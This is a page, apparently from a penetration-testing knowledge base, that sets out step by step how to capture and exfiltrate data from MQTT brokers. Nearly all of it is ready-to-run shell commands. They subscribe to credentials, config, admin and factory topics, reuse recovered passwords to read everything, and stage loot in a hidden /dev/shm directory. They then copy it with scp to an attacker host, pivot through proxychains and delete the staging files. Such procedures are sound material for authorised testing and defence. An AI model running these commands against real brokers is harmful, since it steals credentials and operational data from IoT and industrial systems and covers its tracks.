Skip to content
HackIndex logo

HackIndex

MQTT Topic Data Capture and Exfiltration

3 min read Mar 16, 2026

MQTT message payloads constitute the exfiltration target — credentials embedded in messages, device telemetry, configuration values, and operational data all flow through the broker. This page covers structured capture from specific high-value topics, staging the output, and transferring it off the target network. This is distinct from the broad harvest in the exploitation phase: here the goal is clean, targeted collection of specific data for reporting or further use.

Targeted Topic Capture

Once high-value topics have been identified from the enumeration and exploitation phases, capture them individually:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -t 'credentials/#' -v --retained-only -C 100 \
>> /tmp/mqtt-loot-credentials.txt
 
┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -t 'config/#' -v --retained-only -C 100 \
>> /tmp/mqtt-loot-config.txt
 
┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -t 'admin/#' -v --retained-only -C 100 \
>> /tmp/mqtt-loot-admin.txt

Capture live traffic from device topics over a defined window:

┌──(kali㉿kali)-[~]
└─$ timeout 300 mosquitto_sub -h $TARGET_IP -p 1883 -t 'factory/#' -v --line-buffered \
> /tmp/mqtt-loot-factory.txt

timeout 300 runs for 5 minutes then exits cleanly. Adjust based on device publish intervals.

Capture with Authentication

If credentials were recovered during the exploitation phase, use them to access ACL-restricted topics:

┌──(kali㉿kali)-[~]
└─$ mosquitto_sub -h $TARGET_IP -p 1883 -u $USER -P $PASSWORD \
-t '#' -v --retained-only -C 1000 > /tmp/mqtt-loot-auth.txt

Authenticated access may unlock topics invisible to anonymous subscribers.

Stage and Compress

Combine capture files and compress for transfer:

┌──(kali㉿kali)-[~]
└─$ cat /tmp/mqtt-loot-*.txt > /tmp/mqtt-all-loot.txt
┌──(kali㉿kali)-[~]
└─$ wc -l /tmp/mqtt-all-loot.txt
┌──(kali㉿kali)-[~]
└─$ gzip -c /tmp/mqtt-all-loot.txt > /dev/shm/.work/mqtt-loot.gz

Check size before transferring:

┌──(kali㉿kali)-[~]
└─$ du -sh /dev/shm/.work/mqtt-loot.gz

Transfer Off the Target Network

If you have a shell on the target machine running the MQTT client, transfer the staged file to your attacker machine:

┌──(kali㉿kali)-[~]
└─$ scp /dev/shm/.work/mqtt-loot.gz $USER@$LHOST:/tmp/

If running the MQTT client directly from your attacker machine against a reachable broker, the capture files are already local — no transfer needed.

If the broker is only reachable through a pivot, route the mosquitto_sub through proxychains:

┌──(kali㉿kali)-[~]
└─$ proxychains mosquitto_sub -h $TARGET_IP -p 1883 -t '#' -v --retained-only -C 1000 \
> /tmp/mqtt-loot-pivot.txt

Parse JSON Payloads

Many MQTT payloads are JSON. Extract and pretty-print them for analysis:

awk '{$1=""; print $0}' /tmp/mqtt-all-loot.txt | while read payload; do
  echo "$payload" | python3 -m json.tool 2>/dev/null
done | tee /tmp/mqtt-parsed.txt

Extract all key-value pairs from JSON payloads:

┌──(kali㉿kali)-[~]
└─$ grep -oE '"[^"]+"\s*:\s*"[^"]+"' /tmp/mqtt-all-loot.txt | sort -u

Clean Up

Remove staging files after transfer:

┌──(kali㉿kali)-[~]
└─$ rm -f /tmp/mqtt-loot-*.txt /dev/shm/.work/mqtt-loot.gz

If you published any test messages during the exploitation phase, clear retained ones:

┌──(kali㉿kali)-[~]
└─$ mosquitto_pub -h $TARGET_IP -p 1883 -t 'pentest/probe' -m '' -r

References